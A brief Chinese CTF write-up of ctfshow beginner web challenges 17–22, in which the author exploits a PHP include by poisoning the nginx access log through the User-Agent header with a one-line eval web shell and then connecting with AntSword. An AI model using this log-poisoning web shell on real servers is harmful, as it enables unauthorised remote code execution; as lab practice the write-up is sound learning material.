wp ctfshow 萌新 web17--web22

美好的一天从做题开始

web17

c传参过滤掉php
思路：include文件包含，利用日志文件包含

访问日志文件：

?c=/var/log/nginx/access.log

（这一段是借鉴某个博主的因为我不是很懂怎么来的这个思路，但是有了这个思路就很简单的了）

user-agent传一句话木马

<?php eval($_POST['a']);?>

然后用antsword来连接

到手，第一次做文件包含的题真的还暂时不是很明白

web18，把file绕过了，难不成web17有直接构造payload的做法，我等会试试，我还是用的老办法直接看日志文件

?c=/var/log/nginx/access.log

传马上面的一模一样的，然后antsword链接，36d里面的flag（传马还是用的heckbar本人不爱用bp因为切屏麻烦等我后面买了显示屏再说咯）

web19       web20      web21         

一样的做法

web22

我还没买vps的，先放着吧

剩下的明天做今天准备看一点cr入门

问了我的好学长为什么日志包含，因为有“include”,然后没有禁用文件所以日志包含